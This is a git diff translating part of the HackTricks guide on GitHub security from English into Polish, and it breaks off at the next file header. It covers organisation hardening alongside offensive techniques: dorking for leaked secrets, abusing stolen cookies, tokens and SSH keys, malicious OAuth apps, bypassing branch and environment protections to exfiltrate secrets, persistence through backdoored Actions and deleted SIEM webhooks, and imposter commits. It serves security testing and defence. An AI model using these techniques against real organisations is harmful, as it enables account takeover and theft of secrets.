_https://localhost:3000/\/\/settings/branches_ > [!NOTE] -> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo. +> **Nie jest możliwe ustawienie ochrony gałęzi na poziomie organizacji**. Wszystkie muszą być zadeklarowane w każdym repozytorium. -Different protections can be applied to a branch (like to master): +Różne ochrony mogą być stosowane do gałęzi (jak do master): -- **Disable Push**: No-one can push to this branch -- **Enable Push**: Anyone with access can push, but not force push. -- **Whitelist Restricted Push**: Only selected users/teams can push to this branch (but no force push) -- **Enable Merge Whitelist**: Only whitelisted users/teams can merge PRs. -- **Enable Status checks:** Require status checks to pass before merging. -- **Require approvals**: Indicate the number of approvals required before a PR can be merged. -- **Restrict approvals to whitelisted**: Indicate users/teams that can approve PRs. -- **Block merge on rejected reviews**: If changes are requested, it cannot be merged (even if the other checks pass) -- **Block merge on official review requests**: If there official review requests it cannot be merged -- **Dismiss stale approvals**: When new commits, old approvals will be dismissed. -- **Require Signed Commits**: Commits must be signed. -- **Block merge if pull request is outdated** -- **Protected/Unprotected file patterns**: Indicate patterns of files to protect/unprotect against changes +- **Wyłącz Push**: Nikt nie może wypychać do tej gałęzi +- **Włącz Push**: Każdy z dostępem może wypychać, ale nie może wymusić wypychania. +- **Biała lista ograniczonego Push**: Tylko wybrani użytkownicy/zespoły mogą wypychać do tej gałęzi (ale nie wymuszone wypychanie) +- **Włącz białą listę scalania**: Tylko użytkownicy/zespoły z białej listy mogą scalać PR-y. +- **Włącz kontrole statusu:** Wymagaj, aby kontrole statusu przeszły przed scaleniem. +- **Wymagaj zatwierdzeń**: Wskaź liczbę zatwierdzeń wymaganą przed scaleniem PR. +- **Ogranicz zatwierdzenia do białej listy**: Wskaź użytkowników/zespoły, które mogą zatwierdzać PR-y. +- **Zablokuj scalanie na odrzuconych recenzjach**: Jeśli wymagane są zmiany, nie może być scalone (nawet jeśli inne kontrole przejdą) +- **Zablokuj scalanie na oficjalnych prośbach o recenzję**: Jeśli są oficjalne prośby o recenzję, nie może być scalone +- **Odrzuć przestarzałe zatwierdzenia**: Po nowych commitach, stare zatwierdzenia zostaną odrzucone. +- **Wymagaj podpisanych commitów**: Commity muszą być podpisane. +- **Zablokuj scalanie, jeśli pull request jest przestarzały** +- **Wzory plików chronionych/niechronionych**: Wskaź wzory plików do ochrony/od ochrony przed zmianami > [!NOTE] -> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline. +> Jak widać, nawet jeśli udało ci się uzyskać jakieś dane uwierzytelniające użytkownika, **repozytoria mogą być chronione, co uniemożliwia ci wypychanie kodu do mastera**, na przykład w celu kompromitacji pipeline CI/CD. {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/github-security/README.md b/src/pentesting-ci-cd/github-security/README.md index cdad12b57..319805fb7 100644 --- a/src/pentesting-ci-cd/github-security/README.md +++ b/src/pentesting-ci-cd/github-security/README.md @@ -2,41 +2,41 @@ {{#include ../../banners/hacktricks-training.md}} -## What is Github +## Czym jest Github -(From [here](https://kinsta.com/knowledgebase/what-is-github/)) At a high level, **GitHub is a website and cloud-based service that helps developers store and manage their code, as well as track and control changes to their code**. +(From [here](https://kinsta.com/knowledgebase/what-is-github/)) Na wysokim poziomie, **GitHub to strona internetowa i usługa w chmurze, która pomaga programistom przechowywać i zarządzać swoim kodem, a także śledzić i kontrolować zmiany w swoim kodzie**. -### Basic Information +### Podstawowe informacje {{#ref}} basic-github-information.md {{#endref}} -## External Recon +## Zewnętrzne rozpoznanie -Github repositories can be configured as public, private and internal. +Repozytoria Github mogą być skonfigurowane jako publiczne, prywatne i wewnętrzne. -- **Private** means that **only** people of the **organisation** will be able to access them -- **Internal** means that **only** people of the **enterprise** (an enterprise may have several organisations) will be able to access it -- **Public** means that **all internet** is going to be able to access it. +- **Prywatne** oznacza, że **tylko** osoby z **organizacji** będą mogły uzyskać do nich dostęp +- **Wewnętrzne** oznacza, że **tylko** osoby z **przedsiębiorstwa** (przedsiębiorstwo może mieć kilka organizacji) będą mogły uzyskać do nich dostęp +- **Publiczne** oznacza, że **wszyscy w internecie** będą mogli uzyskać do nich dostęp. -In case you know the **user, repo or organisation you want to target** you can use **github dorks** to find sensitive information or search for **sensitive information leaks** **on each repo**. +W przypadku, gdy znasz **użytkownika, repozytorium lub organizację, którą chcesz zaatakować**, możesz użyć **github dorks**, aby znaleźć wrażliwe informacje lub wyszukać **wycieki wrażliwych informacji** **w każdym repozytorium**. ### Github Dorks -Github allows to **search for something specifying as scope a user, a repo or an organisation**. Therefore, with a list of strings that are going to appear close to sensitive information you can easily **search for potential sensitive information in your target**. +Github pozwala na **wyszukiwanie czegoś, określając jako zakres użytkownika, repozytorium lub organizację**. Dlatego z listą ciągów, które będą się pojawiać blisko wrażliwych informacji, możesz łatwo **wyszukiwać potencjalne wrażliwe informacje w swoim celu**. -Tools (each tool contains its list of dorks): +Narzędzia (każde narzędzie zawiera swoją listę dorks): -- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks list](https://github.com/obheda12/GitDorker/tree/master/Dorks)) -- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks list](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt)) -- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Dorks list](https://github.com/hisxo/gitGraber/tree/master/wordlists)) +- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Lista Dorks](https://github.com/obheda12/GitDorker/tree/master/Dorks)) +- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Lista Dorks](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt)) +- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Lista Dorks](https://github.com/hisxo/gitGraber/tree/master/wordlists)) ### Github Leaks -Please, note that the github dorks are also meant to search for leaks using github search options. This section is dedicated to those tools that will **download each repo and search for sensitive information in them** (even checking certain depth of commits). +Proszę zauważyć, że github dorks są również przeznaczone do wyszukiwania wycieków przy użyciu opcji wyszukiwania github. Ta sekcja jest poświęcona tym narzędziom, które **pobierają każde repozytorium i wyszukują w nich wrażliwe informacje** (nawet sprawdzając pewną głębokość commitów). -Tools (each tool contains its list of regexes): +Narzędzia (każde narzędzie zawiera swoją listę regexów): - [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks) - [https://github.com/trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog) @@ -47,202 +47,190 @@ Tools (each tool contains its list of regexes): - [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets) > [!WARNING] -> When you look for leaks in a repo and run something like `git log -p` don't forget there might be **other branches with other commits** containing secrets! +> Kiedy szukasz wycieków w repozytorium i uruchamiasz coś takiego jak `git log -p`, nie zapomnij, że mogą być **inne gałęzie z innymi commitami** zawierającymi sekrety! -### External Forks +### Zewnętrzne forki -It's possible to **compromise repos abusing pull requests**. To know if a repo is vulnerable you mostly need to read the Github Actions yaml configs. [**More info about this below**](./#execution-from-a-external-fork). +Możliwe jest **kompromitowanie repozytoriów poprzez nadużywanie pull requestów**. Aby wiedzieć, czy repozytorium jest podatne, musisz głównie przeczytać konfiguracje yaml Github Actions. [**Więcej informacji na ten temat poniżej**](./#execution-from-a-external-fork). -### Github Leaks in deleted/internal forks +### Github Leaks w usuniętych/wewnętrznych forkach -Even if deleted or internal it might be possible to obtain sensitive data from forks of github repositories. Check it here: +Nawet jeśli są usunięte lub wewnętrzne, może być możliwe uzyskanie wrażliwych danych z forków repozytoriów github. Sprawdź to tutaj: {{#ref}} accessible-deleted-data-in-github.md {{#endref}} -## Organization Hardening +## Wzmocnienie organizacji -### Member Privileges +### Uprawnienia członków -There are some **default privileges** that can be assigned to **members** of the organization. These can be controlled from the page `https://github.com/organizations//settings/member_privileges` or from the [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs). +Istnieją pewne **domyślne uprawnienia**, które mogą być przypisane do **członków** organizacji. Można je kontrolować z strony `https://github.com/organizations//settings/member_privileges` lub z [**API organizacji**](https://docs.github.com/en/rest/orgs/orgs). -- **Base permissions**: Members will have the permission None/Read/write/Admin over the org repositories. Recommended is **None** or **Read**. -- **Repository forking**: If not necessary, it's better to **not allow** members to fork organization repositories. -- **Pages creation**: If not necessary, it's better to **not allow** members to publish pages from the org repos. If necessary you can allow to create public or private pages. -- **Integration access requests**: With this enabled outside collaborators will be able to request access for GitHub or OAuth apps to access this organization and its resources. It's usually needed, but if not, it's better to disable it. - - _I couldn't find this info in the APIs response, share if you do_ -- **Repository visibility change**: If enabled, **members** with **admin** permissions for the **repository** will be able to **change its visibility**. If disabled, only organization owners can change repository visibilities. If you **don't** want people to make things **public**, make sure this is **disabled**. - - _I couldn't find this info in the APIs response, share if you do_ -- **Repository deletion and transfer**: If enabled, members with **admin** permissions for the repository will be able to **delete** or **transfer** public and private **repositories.** - - _I couldn't find this info in the APIs response, share if you do_ -- **Allow members to create teams**: If enabled, any **member** of the organization will be able to **create** new **teams**. If disabled, only organization owners can create new teams. It's better to have this disabled. - - _I couldn't find this info in the APIs response, share if you do_ -- **More things can be configured** in this page but the previous are the ones more security related. +- **Podstawowe uprawnienia**: Członkowie będą mieli uprawnienia None/Read/write/Admin do repozytoriów organizacji. Zalecane jest **None** lub **Read**. +- **Forkowanie repozytoriów**: Jeśli nie jest to konieczne, lepiej **nie pozwalać** członkom na forkowanie repozytoriów organizacji. +- **Tworzenie stron**: Jeśli nie jest to konieczne, lepiej **nie pozwalać** członkom na publikowanie stron z repozytoriów organizacji. Jeśli to konieczne, możesz pozwolić na tworzenie publicznych lub prywatnych stron. +- **Prośby o dostęp do integracji**: Z tym włączonym zewnętrzni współpracownicy będą mogli prosić o dostęp do aplikacji GitHub lub OAuth, aby uzyskać dostęp do tej organizacji i jej zasobów. Zwykle jest to potrzebne, ale jeśli nie, lepiej to wyłączyć. +- _Nie mogłem znaleźć tych informacji w odpowiedzi API, podziel się, jeśli masz_ +- **Zmiana widoczności repozytoriów**: Jeśli włączone, **członkowie** z **uprawnieniami admina** do **repozytorium** będą mogli **zmienić jego widoczność**. Jeśli wyłączone, tylko właściciele organizacji mogą zmieniać widoczności repozytoriów. Jeśli **nie** chcesz, aby ludzie robili rzeczy **publicznymi**, upewnij się, że to jest **wyłączone**. +- _Nie mogłem znaleźć tych informacji w odpowiedzi API, podziel się, jeśli masz_ +- **Usuwanie i przenoszenie repozytoriów**: Jeśli włączone, członkowie z **uprawnieniami admina** do repozytorium będą mogli **usuwać** lub **przenosić** publiczne i prywatne **repozytoria**. +- _Nie mogłem znaleźć tych informacji w odpowiedzi API, podziel się, jeśli masz_ +- **Zezwolenie członkom na tworzenie zespołów**: Jeśli włączone, każdy **członek** organizacji będzie mógł **tworzyć** nowe **zespoły**. Jeśli wyłączone, tylko właściciele organizacji mogą tworzyć nowe zespoły. Lepiej, aby to było wyłączone. +- _Nie mogłem znaleźć tych informacji w odpowiedzi API, podziel się, jeśli masz_ +- **Więcej rzeczy można skonfigurować** na tej stronie, ale poprzednie są najbardziej związane z bezpieczeństwem. -### Actions Settings +### Ustawienia akcji -Several security related settings can be configured for actions from the page `https://github.com/organizations//settings/actions`. +Kilka ustawień związanych z bezpieczeństwem można skonfigurować dla akcji z strony `https://github.com/organizations//settings/actions`. > [!NOTE] -> Note that all this configurations can also be set on each repository independently +> Zauważ, że wszystkie te konfiguracje można również ustawić w każdym repozytorium niezależnie -- **Github actions policies**: It allows you to indicate which repositories can tun workflows and which workflows should be allowed. It's recommended to **specify which repositories** should be allowed and not allow all actions to run. - - [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization) -- **Fork pull request workflows from outside collaborators**: It's recommended to **require approval for all** outside collaborators. - - _I couldn't find an API with this info, share if you do_ -- **Run workflows from fork pull requests**: It's highly **discouraged to run workflows from pull requests** as maintainers of the fork origin will be given the ability to use tokens with read permissions on the source repository. - - _I couldn't find an API with this info, share if you do_ -- **Workflow permissions**: It's highly recommended to **only give read repository permissions**. It's discouraged to give write and create/approve pull requests permissions to avoid the abuse of the GITHUB_TOKEN given to running workflows. - - [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization) +- **Polityki akcji Github**: Pozwala to wskazać, które repozytoria mogą uruchamiać workflowy i które workflowy powinny być dozwolone. Zaleca się **określenie, które repozytoria** powinny być dozwolone i nie pozwalać na uruchamianie wszystkich akcji. +- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization) +- **Workflowy pull requestów z zewnętrznych współpracowników**: Zaleca się **wymaganie zatwierdzenia dla wszystkich** zewnętrznych współpracowników. +- _Nie mogłem znaleźć API z tymi informacjami, podziel się, jeśli masz_ +- **Uruchamianie workflowów z pull requestów**: Jest to **silnie odradzane, aby uruchamiać workflowy z pull requestów**, ponieważ utrzymujący fork będą mieli możliwość używania tokenów z uprawnieniami do odczytu w repozytorium źródłowym. +- _Nie mogłem znaleźć API z tymi informacjami, podziel się, jeśli masz_ +- **Uprawnienia workflowów**: Silnie zaleca się **przyznawanie tylko uprawnień do odczytu repozytoriów**. Odradza się przyznawanie uprawnień do zapisu i tworzenia/zatwierdzania pull requestów, aby uniknąć nadużywania GITHUB_TOKEN przyznawanego do uruchamiania workflowów. +- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization) -### Integrations +### Integracje -_Let me know if you know the API endpoint to access this info!_ +_Daj mi znać, jeśli znasz punkt końcowy API, aby uzyskać te informacje!_ -- **Third-party application access policy**: It's recommended to restrict the access to every application and allow only the needed ones (after reviewing them). -- **Installed GitHub Apps**: It's recommended to only allow the needed ones (after reviewing them). +- **Polityka dostępu aplikacji zewnętrznych**: Zaleca się ograniczenie dostępu do każdej aplikacji i zezwolenie tylko na te potrzebne (po ich przeglądzie). +- **Zainstalowane aplikacje GitHub**: Zaleca się zezwolenie tylko na te potrzebne (po ich przeglądzie). -## Recon & Attacks abusing credentials +## Rozpoznanie i ataki nadużywające poświadczeń -For this scenario we are going to suppose that you have obtained some access to a github account. +W tym scenariuszu zakładamy, że uzyskałeś dostęp do konta github. -### With User Credentials +### Z poświadczeniami użytkownika -If you somehow already have credentials for a user inside an organization you can **just login** and check which **enterprise and organization roles you have**, if you are a raw member, check which **permissions raw members have**, in which **groups** you are, which **permissions you have** over which **repos,** and **how are the repos protected.** +Jeśli w jakiś sposób masz już poświadczenia dla użytkownika w organizacji, możesz **po prostu się zalogować** i sprawdzić, jakie **role przedsiębiorstwa i organizacji masz**, jeśli jesteś zwykłym członkiem, sprawdź, jakie **uprawnienia mają zwykli członkowie**, w jakich **grupach** jesteś, jakie **uprawnienia masz** do jakich **repozytoriów** i **jak są chronione repozytoria**. -Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**. +Zauważ, że **2FA może być używane**, więc będziesz mógł uzyskać dostęp do tych informacji tylko wtedy, gdy również **przejdziesz tę kontrolę**. > [!NOTE] -> Note that if you **manage to steal the `user_session` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA. +> Zauważ, że jeśli **uda ci się ukraść ciasteczko `user_session`** (aktualnie skonfigurowane z SameSite: Lax), możesz **całkowicie podszyć się pod użytkownika** bez potrzeby posiadania poświadczeń lub 2FA. -Check the section below about [**branch protections bypasses**](./#branch-protection-bypass) in case it's useful. +Sprawdź sekcję poniżej o [**obejściach ochrony gałęzi**](./#branch-protection-bypass), jeśli to może być przydatne. -### With User SSH Key +### Z kluczem SSH użytkownika -Github allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied). - -With this key you can perform **changes in repositories where the user has some privileges**, however you can not sue it to access github api to enumerate the environment. However, you can get **enumerate local settings** to get information about the repos and user you have access to: +Github pozwala **użytkownikom** ustawiać **klucze SSH**, które będą używane jako **metoda uwierzytelniania do wdrażania kodu** w ich imieniu (nie stosuje się 2FA). +Z tym kluczem możesz dokonywać **zmian w repozytoriach, w których użytkownik ma pewne uprawnienia**, jednak nie możesz go użyć do uzyskania dostępu do API github, aby enumerować środowisko. Możesz jednak **enumerować lokalne ustawienia**, aby uzyskać informacje o repozytoriach i użytkowniku, do którego masz dostęp: ```bash # Go to the the repository folder # Get repo config and current user name and email git config --list ``` +Jeśli użytkownik skonfigurował swoją nazwę użytkownika jako swoją nazwę użytkownika github, możesz uzyskać dostęp do **publicznych kluczy, które ustawił** w swoim koncie pod adresem _https://github.com/\.keys_, możesz to sprawdzić, aby potwierdzić, że znaleziony klucz prywatny może być użyty. -If the user has configured its username as his github username you can access the **public keys he has set** in his account in _https://github.com/\.keys_, you could check this to confirm the private key you found can be used. +**Klucze SSH** mogą być również ustawione w repozytoriach jako **klucze wdrożeniowe**. Każdy, kto ma dostęp do tego klucza, będzie mógł **uruchomić projekty z repozytorium**. Zwykle na serwerze z różnymi kluczami wdrożeniowymi lokalny plik **`~/.ssh/config`** dostarczy informacji o tym, do którego klucza się odnosi. -**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related. +#### Klucze GPG -#### GPG Keys - -As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered. - -Check locally if the current user has any key with: +Jak wyjaśniono [**tutaj**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md), czasami konieczne jest podpisanie commitów, inaczej możesz zostać odkryty. +Sprawdź lokalnie, czy bieżący użytkownik ma jakikolwiek klucz za pomocą: ```shell gpg --list-secret-keys --keyid-format=long ``` +### Z tokenem użytkownika -### With User Token +Aby uzyskać wprowadzenie do [**Tokenów Użytkownika sprawdź podstawowe informacje**](basic-github-information.md#personal-access-tokens). -For an introduction about [**User Tokens check the basic information**](basic-github-information.md#personal-access-tokens). +Token użytkownika może być używany **zamiast hasła** do Git przez HTTPS lub może być używany do [**uwierzytelniania w API za pomocą Basic Authentication**](https://docs.github.com/v3/auth/#basic-authentication). W zależności od przypisanych do niego uprawnień, możesz być w stanie wykonać różne akcje. -A user token can be used **instead of a password** for Git over HTTPS, or can be used to [**authenticate to the API over Basic Authentication**](https://docs.github.com/v3/auth/#basic-authentication). Depending on the privileges attached to it you might be able to perform different actions. +Token użytkownika wygląda tak: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123` -A User token looks like this: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123` +### Z aplikacją Oauth -### With Oauth Application +Aby uzyskać wprowadzenie do [**Aplikacji Oauth Github sprawdź podstawowe informacje**](basic-github-information.md#oauth-applications). -For an introduction about [**Github Oauth Applications check the basic information**](basic-github-information.md#oauth-applications). +Atakujący może stworzyć **złośliwą aplikację Oauth**, aby uzyskać dostęp do uprzywilejowanych danych/akcji użytkowników, którzy prawdopodobnie zaakceptują je jako część kampanii phishingowej. -An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign. +To są [zakresy, o które może prosić aplikacja Oauth](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). Zawsze należy sprawdzić żądane zakresy przed ich zaakceptowaniem. -These are the [scopes an Oauth application can request](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). A should always check the scopes requested before accepting them. +Ponadto, jak wyjaśniono w podstawowych informacjach, **organizacje mogą przyznawać/odmawiać dostępu aplikacjom stron trzecich** do informacji/repos/akcji związanych z organizacją. -Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation. +### Z aplikacją Github -### With Github Application +Aby uzyskać wprowadzenie do [**Aplikacji Github sprawdź podstawowe informacje**](basic-github-information.md#github-applications). -For an introduction about [**Github Applications check the basic information**](basic-github-information.md#github-applications). +Atakujący może stworzyć **złośliwą aplikację Github**, aby uzyskać dostęp do uprzywilejowanych danych/akcji użytkowników, którzy prawdopodobnie zaakceptują je jako część kampanii phishingowej. -An attacker might create a **malicious Github Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign. +Ponadto, jak wyjaśniono w podstawowych informacjach, **organizacje mogą przyznawać/odmawiać dostępu aplikacjom stron trzecich** do informacji/repos/akcji związanych z organizacją. -Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation. +## Kompromitacja i nadużycie Github Action -## Compromise & Abuse Github Action - -There are several techniques to compromise and abuse a Github Action, check them here: +Istnieje kilka technik, aby skompromitować i nadużywać Github Action, sprawdź je tutaj: {{#ref}} abusing-github-actions/ {{#endref}} -## Branch Protection Bypass +## Ominięcie ochrony gałęzi -- **Require a number of approvals**: If you compromised several accounts you might just accept your PRs from other accounts. If you just have the account from where you created the PR you cannot accept your own PR. However, if you have access to a **Github Action** environment inside the repo, using the **GITHUB_TOKEN** you might be able to **approve your PR** and get 1 approval this way. - - _Note for this and for the Code Owners restriction that usually a user won't be able to approve his own PRs, but if you are, you can abuse it to accept your PRs._ -- **Dismiss approvals when new commits are pushed**: If this isn’t set, you can submit legit code, wait till someone approves it, and put malicious code and merge it into the protected branch. -- **Require reviews from Code Owners**: If this is activated and you are a Code Owner, you could make a **Github Action create your PR and then approve it yourself**. - - When a **CODEOWNER file is missconfigured** Github doesn't complain but it does't use it. Therefore, if it's missconfigured it's **Code Owners protection isn't applied.** -- **Allow specified actors to bypass pull request requirements**: If you are one of these actors you can bypass pull request protections. -- **Include administrators**: If this isn’t set and you are admin of the repo, you can bypass this branch protections. -- **PR Hijacking**: You could be able to **modify the PR of someone else** adding malicious code, approving the resulting PR yourself and merging everything. -- **Removing Branch Protections**: If you are an **admin of the repo you can disable the protections**, merge your PR and set the protections back. -- **Bypassing push protections**: If a repo **only allows certain users** to send push (merge code) in branches (the branch protection might be protecting all the branches specifying the wildcard `*`). - - If you have **write access over the repo but you are not allowed to push code** because of the branch protection, you can still **create a new branch** and within it create a **github action that is triggered when code is pushed**. As the **branch protection won't protect the branch until it's created**, this first code push to the branch will **execute the github action**. +- **Wymagaj liczby zatwierdzeń**: Jeśli skompromitowałeś kilka kont, możesz po prostu zaakceptować swoje PR z innych kont. Jeśli masz tylko konto, z którego utworzyłeś PR, nie możesz zaakceptować swojego własnego PR. Jednak jeśli masz dostęp do środowiska **Github Action** w repozytorium, używając **GITHUB_TOKEN**, możesz być w stanie **zatwierdzić swój PR** i w ten sposób uzyskać 1 zatwierdzenie. +- _Uwaga dla tego i dla ograniczenia Właścicieli Kodów, że zazwyczaj użytkownik nie będzie mógł zatwierdzić swoich własnych PR, ale jeśli możesz, możesz to nadużyć, aby zaakceptować swoje PR._ +- **Odrzuć zatwierdzenia, gdy nowe commity są przesyłane**: Jeśli to nie jest ustawione, możesz przesłać legalny kod, poczekać, aż ktoś go zatwierdzi, a następnie dodać złośliwy kod i połączyć go z chronioną gałęzią. +- **Wymagaj przeglądów od Właścicieli Kodów**: Jeśli to jest aktywowane i jesteś Właścicielem Kodu, możesz sprawić, że **Github Action utworzy twój PR, a następnie zatwierdzisz go samodzielnie**. +- Gdy plik **CODEOWNER jest źle skonfigurowany**, Github nie zgłasza problemu, ale go nie używa. Dlatego, jeśli jest źle skonfigurowany, **ochrona Właścicieli Kodów nie jest stosowana.** +- **Zezwól określonym aktorom na ominięcie wymagań dotyczących pull requestów**: Jeśli jesteś jednym z tych aktorów, możesz ominąć ochrony pull requestów. +- **Uwzględnij administratorów**: Jeśli to nie jest ustawione i jesteś administratorem repozytorium, możesz ominąć te ochrony gałęzi. +- **Przechwytywanie PR**: Możesz być w stanie **zmodyfikować PR kogoś innego**, dodając złośliwy kod, zatwierdzając wynikowy PR samodzielnie i łącząc wszystko. +- **Usuwanie ochron gałęzi**: Jeśli jesteś **administratorem repozytorium, możesz wyłączyć ochrony**, połączyć swój PR i ponownie ustawić ochrony. +- **Ominięcie ochron przesyłania**: Jeśli repozytorium **zezwala tylko określonym użytkownikom** na przesyłanie (łączenie kodu) w gałęziach (ochrona gałęzi może chronić wszystkie gałęzie, określając symbol wieloznaczny `*`). +- Jeśli masz **dostęp do zapisu w repozytorium, ale nie masz pozwolenia na przesyłanie kodu** z powodu ochrony gałęzi, możesz nadal **utworzyć nową gałąź** i w jej ramach utworzyć **github action, która jest wyzwalana, gdy kod jest przesyłany**. Ponieważ **ochrona gałęzi nie będzie chronić gałęzi, dopóki nie zostanie utworzona**, to pierwsze przesłanie kodu do gałęzi **wykona github action**. -## Bypass Environments Protections +## Ominięcie ochron środowisk -For an introduction about [**Github Environment check the basic information**](basic-github-information.md#git-environments). +Aby uzyskać wprowadzenie do [**Środowiska Github sprawdź podstawowe informacje**](basic-github-information.md#git-environments). -In case an environment can be **accessed from all the branches**, it's **isn't protected** and you can easily access the secrets inside the environment. Note that you might find repos where **all the branches are protected** (by specifying its names or by using `*`) in that scenario, **find a branch were you can push code** and you can **exfiltrate** the secrets creating a new github action (or modifying one). - -Note, that you might find the edge case where **all the branches are protected** (via wildcard `*`) it's specified **who can push code to the branches** (_you can specify that in the branch protection_) and **your user isn't allowed**. You can still run a custom github action because you can create a branch and use the push trigger over itself. The **branch protection allows the push to a new branch so the github action will be triggered**. +W przypadku, gdy środowisko może być **dostępne ze wszystkich gałęzi**, **nie jest chronione** i możesz łatwo uzyskać dostęp do sekretów w środowisku. Zauważ, że możesz znaleźć repozytoria, w których **wszystkie gałęzie są chronione** (poprzez określenie ich nazw lub użycie `*`), w tym scenariuszu, **znajdź gałąź, w której możesz przesyłać kod** i możesz **wyeksportować** sekrety, tworząc nową akcję github (lub modyfikując jedną). +Zauważ, że możesz napotkać przypadek brzegowy, w którym **wszystkie gałęzie są chronione** (poprzez symbol wieloznaczny `*`), określono **kto może przesyłać kod do gałęzi** (_możesz to określić w ochronie gałęzi_), a **twój użytkownik nie ma pozwolenia**. Możesz nadal uruchomić niestandardową akcję github, ponieważ możesz utworzyć gałąź i użyć wyzwalacza przesyłania nad nią. **Ochrona gałęzi zezwala na przesyłanie do nowej gałęzi, więc akcja github zostanie wyzwolona**. ```yaml push: # Run it when a push is made to a branch - branches: - - current_branch_name #Use '**' to run when a push is made to any branch +branches: +- current_branch_name #Use '**' to run when a push is made to any branch ``` +Zauważ, że **po utworzeniu** gałęzi **ochrona gałęzi będzie miała zastosowanie do nowej gałęzi** i nie będziesz mógł jej modyfikować, ale w tym czasie już zrzuciłeś sekrety. -Note that **after the creation** of the branch the **branch protection will apply to the new branch** and you won't be able to modify it, but for that time you will have already dumped the secrets. +## Utrzymywanie -## Persistence +- Wygeneruj **token użytkownika** +- Ukradnij **tokeny github** z **sekretów** +- **Usunięcie** wyników **workflow** i **gałęzi** +- Przyznaj **więcej uprawnień całej organizacji** +- Utwórz **webhooki** do eksfiltracji informacji +- Zaproś **zewnętrznych współpracowników** +- **Usuń** **webhooki** używane przez **SIEM** +- Utwórz/modyfikuj **Github Action** z **tylnym wejściem** +- Znajdź **wrażliwą Github Action do wstrzykiwania poleceń** poprzez modyfikację wartości **sekretu** -- Generate **user token** -- Steal **github tokens** from **secrets** - - **Deletion** of workflow **results** and **branches** -- Give **more permissions to all the org** -- Create **webhooks** to exfiltrate information -- Invite **outside collaborators** -- **Remove** **webhooks** used by the **SIEM** -- Create/modify **Github Action** with a **backdoor** -- Find **vulnerable Github Action to command injection** via **secret** value modification +### Fałszywe Commity - Tylne wejście przez commity repo -### Imposter Commits - Backdoor via repo commits - -In Github it's possible to **create a PR to a repo from a fork**. Even if the PR is **not accepted**, a **commit** id inside the orginal repo is going to be created for the fork version of the code. Therefore, an attacker **could pin to use an specific commit from an apparently ligit repo that wasn't created by the owner of the repo**. - -Like [**this**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e): +W Githubie możliwe jest **utworzenie PR do repo z forka**. Nawet jeśli PR **nie zostanie zaakceptowany**, identyfikator **commita** w oryginalnym repo zostanie utworzony dla wersji kodu z forka. Dlatego atakujący **może przypiąć się do użycia konkretnego commita z pozornie legalnego repo, które nie zostało utworzone przez właściciela repo**. +Jak [**to**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e): ```yaml name: example on: [push] jobs: - commit: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e - - shell: bash - run: | - echo 'hello world!' +commit: +runs-on: ubuntu-latest +steps: +- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e +- shell: bash +run: | +echo 'hello world!' ``` - -For more info check [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd) +Aby uzyskać więcej informacji, sprawdź [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md index c5ce0467b..e231ee5be 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md +++ 